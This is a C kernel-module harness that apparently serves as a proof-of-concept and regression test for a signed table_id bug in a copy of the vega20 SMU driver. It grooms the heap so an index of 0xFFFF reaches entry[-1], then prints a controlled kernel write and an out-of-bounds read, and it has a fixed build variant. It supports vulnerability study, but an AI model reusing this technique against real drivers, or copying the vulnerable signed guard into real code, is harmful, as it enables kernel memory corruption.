DF-4792 / vega20_oob_kld.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 | /* * DF-4792 — vega20_smumgr signed table_id guard-bypass harness (DragonFly KLD) * * The two functions below are VERBATIM copies of * sys/dev/drm/amd/powerplay/smumgr/vega20_smumgr.c:163-196 (from_smc) * sys/dev/drm/amd/powerplay/smumgr/vega20_smumgr.c:203-236 (to_smc) * sys/dev/drm/amd/powerplay/smumgr/vega20_smumgr.c:563-574 (smc_table_manager) * with exactly two classes of substitution (documented inline): * 1. vega20_send_msg_to_smc_with_parameter() -> stub returning 0 * (the real one is MMIO-only; on real HW its success is a precondition * for reaching the memcpy, and the OOB mc_addr/table fields are already * consumed as its call ARGUMENTS before/at the first call) * 2. pr_err/pr_warn -> kprintf (DragonFly kernel) * Structs are verbatim from vega20_smumgr.h:29-43; PP_ASSERT_WITH_CODE is * verbatim from inc/pp_debug.h:29-36 (pr_warn -> kprintf). * * Build: make SYSDIR=/usr/src/sys (baseline: int16_t param) * make SYSDIR=/usr/src/sys CFLAGS+=-DFIXED (fixed: uint16_t param, * mirroring fix.diff int16_t -> uint16_t) * Run: kldload ./df4792.ko ; kldunload df4792 * * Expected (baseline): table_id arriving as uint16_t 0xFFFF narrows to -1, * passes `table_id < TABLE_COUNT`, consumes entry[-1] OUT OF BOUNDS: * a controlled 8-byte kernel write lands in `victim` (0x4141...). * Expected (FIXED): 0xFFFF fails the now-unsigned guard -> -EINVAL, * victim untouched. In-bounds sanity (id 9, unallocated slot): -EINVAL. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/module.h> #include <sys/malloc.h> #include <sys/stdint.h> /* ---- verbatim: inc/pp_debug.h:29-36 (pr_warn -> kprintf) ---- */ #define PP_ASSERT_WITH_CODE(cond, msg, code) \ do { \ if (!(cond)) { \ kprintf("PP: %s\n", msg); \ code; \ } \ } while (0) /* ---- verbatim: inc/smu11_driver_if.h:827-837 (as included by the file) ---- */ #define TABLE_PPTABLE 0 #define TABLE_WATERMARKS 1 #define TABLE_PMSTATUSLOG 5 #define TABLE_SMU_METRICS 6 #define TABLE_ACTIVITY_MONITOR_COEFF 8 #define TABLE_OVERDRIVE 9 #define TABLE_COUNT 10 /* ---- verbatim: smumgr/vega20_smumgr.h:29-43 (handle: amdgpu_bo*, opaque) ---- */ struct smu_table_entry { uint32_t version; uint32_t size; uint64_t mc_addr; void *table; void *handle; }; struct smu_table_array { struct smu_table_entry entry[TABLE_COUNT]; }; struct vega20_smumgr { struct smu_table_array smu_tables; }; struct pp_hwmgr { struct vega20_smumgr *smu_backend; /* only member the functions use */ }; #define PPSMC_MSG_SetDriverDramAddrHigh 0 #define PPSMC_MSG_SetDriverDramAddrLow 0 #define PPSMC_MSG_TransferTableSmu2Dram 0 #define PPSMC_MSG_TransferTableDram2Smu 0 static int vega20_send_msg_to_smc_with_parameter( struct pp_hwmgr *hwmgr, uint16_t msg, uint32_t parameter) { /* STUB: real impl is MM I/O to MP1 C2PMSG regs (vega20_smumgr.c:130-149). * Returns 0 == PPSMC answered OK, the precondition to reach the memcpy. */ (void)hwmgr; (void)msg; (void)parameter; return 0; } #define upper_32_bits(n) ((uint32_t)(((uint64_t)(n) >> 16) >> 16)) #define lower_32_bits(n) ((uint32_t)(n)) #ifdef FIXED #define TID_T uint16_t /* fix.diff: int16_t -> uint16_t */ #else #define TID_T int16_t /* verbatim tree state; build.sh's fixed variant seds this to uint16_t */ #endif /* ---- VERBATIM vega20_smumgr.c:163-196 ---- */ static int vega20_copy_table_from_smc(struct pp_hwmgr *hwmgr, uint8_t *table, TID_T table_id) { struct vega20_smumgr *priv = (struct vega20_smumgr *)(hwmgr->smu_backend); int ret = 0; PP_ASSERT_WITH_CODE(table_id < TABLE_COUNT, "Invalid SMU Table ID!", return -EINVAL); PP_ASSERT_WITH_CODE(priv->smu_tables.entry[table_id].version != 0, "Invalid SMU Table version!", return -EINVAL); PP_ASSERT_WITH_CODE(priv->smu_tables.entry[table_id].size != 0, "Invalid SMU Table Length!", return -EINVAL); PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr, PPSMC_MSG_SetDriverDramAddrHigh, upper_32_bits(priv->smu_tables.entry[table_id].mc_addr))) == 0, "[CopyTableFromSMC] Attempt to Set Dram Addr High Failed!", return ret); PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr, PPSMC_MSG_SetDriverDramAddrLow, lower_32_bits(priv->smu_tables.entry[table_id].mc_addr))) == 0, "[CopyTableFromSMC] Attempt to Set Dram Addr Low Failed!", return ret); PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr, PPSMC_MSG_TransferTableSmu2Dram, table_id)) == 0, "[CopyTableFromSMC] Attempt to Transfer Table From SMU Failed!", return ret); memcpy(table, priv->smu_tables.entry[table_id].table, priv->smu_tables.entry[table_id].size); return 0; } /* ---- VERBATIM vega20_smumgr.c:203-236 ---- */ static int vega20_copy_table_to_smc(struct pp_hwmgr *hwmgr, uint8_t *table, TID_T table_id) { struct vega20_smumgr *priv = (struct vega20_smumgr *)(hwmgr->smu_backend); int ret = 0; PP_ASSERT_WITH_CODE(table_id < TABLE_COUNT, "Invalid SMU Table ID!", return -EINVAL); PP_ASSERT_WITH_CODE(priv->smu_tables.entry[table_id].version != 0, "Invalid SMU Table version!", return -EINVAL); PP_ASSERT_WITH_CODE(priv->smu_tables.entry[table_id].size != 0, "Invalid SMU Table Length!", return -EINVAL); memcpy(priv->smu_tables.entry[table_id].table, table, priv->smu_tables.entry[table_id].size); PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr, PPSMC_MSG_SetDriverDramAddrHigh, upper_32_bits(priv->smu_tables.entry[table_id].mc_addr))) == 0, "[CopyTableToSMC] Attempt to Set Dram Addr High Failed!", return ret); PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr, PPSMC_MSG_SetDriverDramAddrLow, lower_32_bits(priv->smu_tables.entry[table_id].mc_addr))) == 0, "[CopyTableToSMC] Attempt to Set Dram Addr Low Failed!", return ret); PP_ASSERT_WITH_CODE((ret = vega20_send_msg_to_smc_with_parameter(hwmgr, PPSMC_MSG_TransferTableDram2Smu, table_id)) == 0, "[CopyTableToSMC] Attempt to Transfer Table To SMU Failed!", return ret); return 0; } /* ---- VERBATIM vega20_smumgr.c:563-574 (uint16_t public API, narrows) ---- */ static int vega20_smc_table_manager(struct pp_hwmgr *hwmgr, uint8_t *table, uint16_t table_id, bool rw) { int ret; if (rw) ret = vega20_copy_table_from_smc(hwmgr, table, table_id); else ret = vega20_copy_table_to_smc(hwmgr, table, table_id); return ret; } /* ===================== DF-4792 test driver ===================== */ MALLOC_DEFINE(M_DF4792, "df4792", "DF-4792 harness heap"); static int df4792_run(void) { const int ENT_SZ = sizeof(struct smu_table_entry); /* 32 */ uint8_t *blk; struct vega20_smumgr *priv; struct smu_table_entry *oob; /* == &priv->smu_tables.entry[-1] */ struct pp_hwmgr hw; static uint8_t victim[64]; /* controlled-write landing pad */ uint8_t src[64]; int rc; kprintf("DF-4792: entry sizeof=%d TABLE_COUNT=%d\n", ENT_SZ, TABLE_COUNT); /* * Groom: one allocation; the vega20_smumgr object sits at +ENT_SZ so * the 32 bytes before it model the adjacent heap memory that * entry[-1] reads on a real kzalloc'd vega20_smumgr (vega20_smumgr.h:41 * puts smu_tables.entry[] at struct offset 0, so index -1 lands in the * PRECEDING slab object). */ blk = kmalloc(4096, M_DF4792, M_WAITOK | M_ZERO); if (blk == NULL) return ENOMEM; priv = (struct vega20_smumgr *)(blk + ENT_SZ); oob = (struct smu_table_entry *)blk; memset(victim, 0, sizeof(victim)); memset(src, 0x41, sizeof(src)); hw.smu_backend = priv; /* in-bounds sanity first: TABLE_OVERDRIVE(9) is unallocated here * (version==0) exactly like smu11 table ids 2,3,4,7 on a real driver */ rc = vega20_smc_table_manager(&hw, src, TABLE_OVERDRIVE, false); kprintf("DF-4792: in-bounds id=%d (unalloc) rc=%d (want -EINVAL)\n", TABLE_OVERDRIVE, rc); /* arm entry[-1]: attacker-influenced neighbor heap contents */ oob->version = 1; oob->size = 8; /* memcpy length */ oob->mc_addr = 0xDEADBEEFCAFEBABEULL; /* OOB-read -> SMC msg param */ oob->table = victim; /* OOB-read -> memcpy target */ /* the only caller-visible type is uint16_t (hwmgr.h:218 / smumgr.h:114). * volatile: the id arrives at runtime through the public API — a * compile-time constant lets -Warray-bounds statically prove the OOB * (it did, during harness development) and abort the -Werror build. */ { volatile uint16_t tid = 0xFFFF; rc = vega20_smc_table_manager(&hw, src, tid, false); } /* write path */ kprintf("DF-4792: to_smc(0xFFFF) rc=%d victim[0..7]=", rc); for (int i = 0; i < 8; i++) kprintf("%02x", victim[i]); kprintf(" %s\n", memcmp(victim, "\x41\x41\x41\x41\x41\x41\x41\x41", 8) == 0 ? "<< CONTROLLED KERNEL WRITE" : "(untouched)"); memset(victim, 0, sizeof(victim)); oob->table = src; /* read path: OOB src -> buf */ memset(src + 8, 0, sizeof(src) - 8); /* only 8 OOB bytes valid */ { volatile uint16_t tid = 0xFFFF; /* entry[-1] again */ rc = vega20_smc_table_manager(&hw, victim, tid, true); } kprintf("DF-4792: from_smc(0xFFFF) rc=%d victim[0..7]=", rc); for (int i = 0; i < 8; i++) kprintf("%02x", victim[i]); kprintf(" %s\n", memcmp(victim, "\x41\x41\x41\x41\x41\x41\x41\x41", 8) == 0 ? "<< OOB KERNEL READ" : "(untouched)"); /* far-OOB probe: 0x8000 narrows to -32768 -> entry[-32768] is a read * 1 MB before the allocation; here it lands on zeroed memory so the * version check rejects it. On a live system this is an arbitrary * offset OOB read window (version/size/table all attacker-visible * kernel memory). */ { volatile uint16_t tid = 0x8000; memset(victim, 0, sizeof(victim)); rc = vega20_smc_table_manager(&hw, victim, tid, true); } kprintf("DF-4792: from_smc(0x8000 -> entry[-32768], far OOB) rc=%d\n", rc); kfree(blk, M_DF4792); return 0; } static int df4792_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("DF-4792 harness loaded (param type: %s)\n", _Generic((TID_T)0, int16_t: "int16_t", uint16_t: "uint16_t")); return df4792_run(); case MOD_UNLOAD: kprintf("DF-4792 harness unloaded\n"); return 0; default: return EOPNOTSUPP; } } static moduledata_t df4792_mod = { "df4792", df4792_modevent, NULL }; DECLARE_MODULE(df4792, df4792_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |